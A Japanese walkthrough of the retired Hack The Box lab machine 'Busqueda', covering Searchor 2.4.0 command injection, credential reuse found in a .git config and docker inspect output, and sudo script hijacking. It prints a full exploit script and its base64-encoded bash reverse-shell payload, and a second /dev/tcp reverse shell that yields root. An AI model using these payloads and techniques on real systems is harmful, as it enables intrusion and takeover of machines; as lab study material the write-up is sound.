
Retiredマシン「Busqueda」のWriteupを書いていきます。おそらくTJ Nullのリストで最初に攻略する方が多いマシンだと(勝手に)思っています。
Basquedaはスペイン語で「探す」という意味があるそうで、、、なんとなくこのマシンで待ち受ける試練が透けて見えますね…!イラストのおっさんへの理解も深まったところで攻略していきましょう!
記事内のコードブロックは右端のボタンからコードをコピーできます。手軽に手順を試したい方はご利用ください。
Setup
環境変数「IP」にTarget IPを設定します。 {Target IP}は自身に割り当てられた値に置き換えます。
export IP={Target IP}
Service Enumeration
ポートスキャンを実行します。
nmap -sV -sC -Pn $IP
kali@kali:~/lab/HTB/Busqueda$ nmap -sV -sC -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-20 05:23 JST
Nmap scan report for searcher.htb (10.10.11.208)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds
80/tcpが開いているので、ブラウザのアドレスバーにTarget IPを入力します。

searcher.htbにリダイレクトされました。

/etc/hostsにエントリを追加します。
echo "$IP searcher.htb" | sudo tee -a /etc/hosts
searcher.htbへアクセスします。

ページ最下部に気になる情報を発見しました。FlaskとSearchorを使用しているようです。


It is designed to make getting started quick and easy, with the ability to scale up to
complex applications.
Initial Access
FlaskとSearchorを手掛かりにエクスプロイト/POCを探してみます。
searchsploitはNo Resultsでした。
searchsploit Flask
searchsploit Searchor
kali@kali:~/lab/HTB/Busqueda$ searchsploit Flask
Exploits: No Results
Shellcodes: No Results
kali@kali:~/lab/HTB/Busqueda$
kali@kali:~/lab/HTB/Busqueda$ searchsploit Searchor
Exploits: No Results
Shellcodes: No Results
インターネットで調べてみます。「searchor exploit」でググったところ、どうやらSearchor 2.4.0に脆弱性がありそうです。

「searchor 2.4.0 exploit」で更にググったところ、良い感じのエクスプロイトがヒットしました。
早速、リポジトリをクローンします。
git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
kali@kali:~/lab/HTB/Busqueda$ git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
Cloning into 'Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'...
remote: Enumerating objects: 36, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 36 (delta 9), reused 1 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (36/36), 9.13 KiB | 359.00 KiB/s, done.
Resolving deltas: 100% (9/9), done.
exploit.shを確認します。
#!/bin/bash -
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
echo "[*] Input target is $1"
echo "[*] Input attacker is $2:${port}"
echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
デフォルトだと9001ポートに接続してくるようなので、ncで待ち受けておきます。
rlwrap nc -lvnp 9001
kali@kali:~$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
exploit.shに実行可能権限(+x)を付与します。
chmod +x exploit.sh
kali@kali:~/lab/HTB/Busqueda/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection$ chmod +x exploit.sh
exploit.shを実行します。10.10.14.12は私のIPです。
./exploit.sh searcher.htb {Kali IP} 9001
kali@kali:~/lab/HTB/Busqueda/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection$ ./exploit.sh searcher.htb 10.10.14.12 9001
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.14.12:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
どうでしょう…
kali@kali:~$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 35870
bash: cannot set terminal process group (1653): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
キタ━━━━(゚∀゚)━━━━!!
コネクションの確立に成功したようです。
user.txtも取得できました!
cat user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
-- snip --
Privilege Escalation
権限昇格の手がかりを探していると.gitがありました。
ls -la
svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 May 18 20:44 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
ls -la .git
svc@busqueda:/var/www/app$ ls -la .git
ls -la .git
total 52
drwxr-xr-x 8 www-data www-data 4096 May 18 20:44 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
configを確認します。
cat .git/config
svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Hello, cody !!
cody:jh1usoih2bkjaspwe92
giteaというサブドメインがあります。何ぞこれ、、、

要は軽量で自前ホスティング可能なGitサービスということのようです。
/etc/hostsにエントリ追加します。
echo "$IP gitea.searcher.htb" | sudo tee -a /etc/hosts
ひとまず http://gitea.searcher.htb にアクセスしてみましょう。アクセス後、[Explore]をクリックします。

[Users]タブより、administratorやcodyを確認できましたが、サインインできないとこれ以上は有益な情報はなさそうです。

先程、codyの資格情報が見つかったので、SSHアクセスを試したもののログインできませんでした。
giteaにはcodyくんでサインインできました…!しかし有益な情報はありませんでした、、ここだと思ったのに、、、ぐぬぬ、、

パスワードを使い回している可能性もあるので、svcでSSHログインを試してみたところ、、、
ssh svc@$IP
jh1usoih2bkjaspwe92
kali@kali:~$ ssh svc@$IP
svc@10.10.11.208's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
-- snip --
Last login: Sun May 18 21:25:00 2025 from 10.10.14.12
入れるんかい…!まず手っ取り早くsudo -lを確認すると、、、
sudo -l
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Sorry, try again.
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
system-checkup.pyをroot権限で実行できるようです。ひとまず素直に実行してみます。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
docker-psを試してみます。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 2 years ago Up 40 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 2 years ago Up 40 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
docker-inspectを試してみます。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
docker-psコマンドで確認したコンテナ「gitea」の情報をJSONフォーマットで出力します。
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
-- snip --
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
-- snip --
パスワード「yuiu1hoiu4i5ho1uh」を発見しました。
yuiu1hoiu4i5ho1uh
もしやAdministratorのパスワードなのでは…?

あ、、、入れちゃった。早速、レポジトリ「scripts」のなかを見てみましょう!

sudoで実行可能なsystem-checkup.pyのなかを確認します。

#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
-- snip --
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
-- snip --
どうやらfull-checkupオプションを実行すると、同じディレクトリに格納されているfull-checkup.pyを実行するようです。これは…つまりfull-checkup.shを作成してリバースシェルのスクリプトを書き込んでおけば、rootとしてログインできそうです。
シンプルに以下のような内容でfull-checkup.shを作成します。
viエディタで作成しました。
#! /bin/bash
bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
svc@busqueda:/tmp$ cat full-checkup.sh
#! /bin/bash
bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
実行権限を付与します。
chmod +x full-checkup.sh
kaliでncリスナーをセットします。
rlwrap nc -lvnp 4444
kali@kali:~$ rlwrap nc -lvnp 4444
listening on [any] 4444...
Go !!!
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
どうでしょう…
rlwrap nc -lvnp 4444
kali@kali:~$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 41228
root@busqueda:/tmp#
キタ━━━━(゚∀゚)━━━━!!
無事にroot.txtを取得できました!!
cat root.txt
root@busqueda:~# cat root.txt
cat root.txt
-- snip --
This concludes the writeup, thank you for reading!!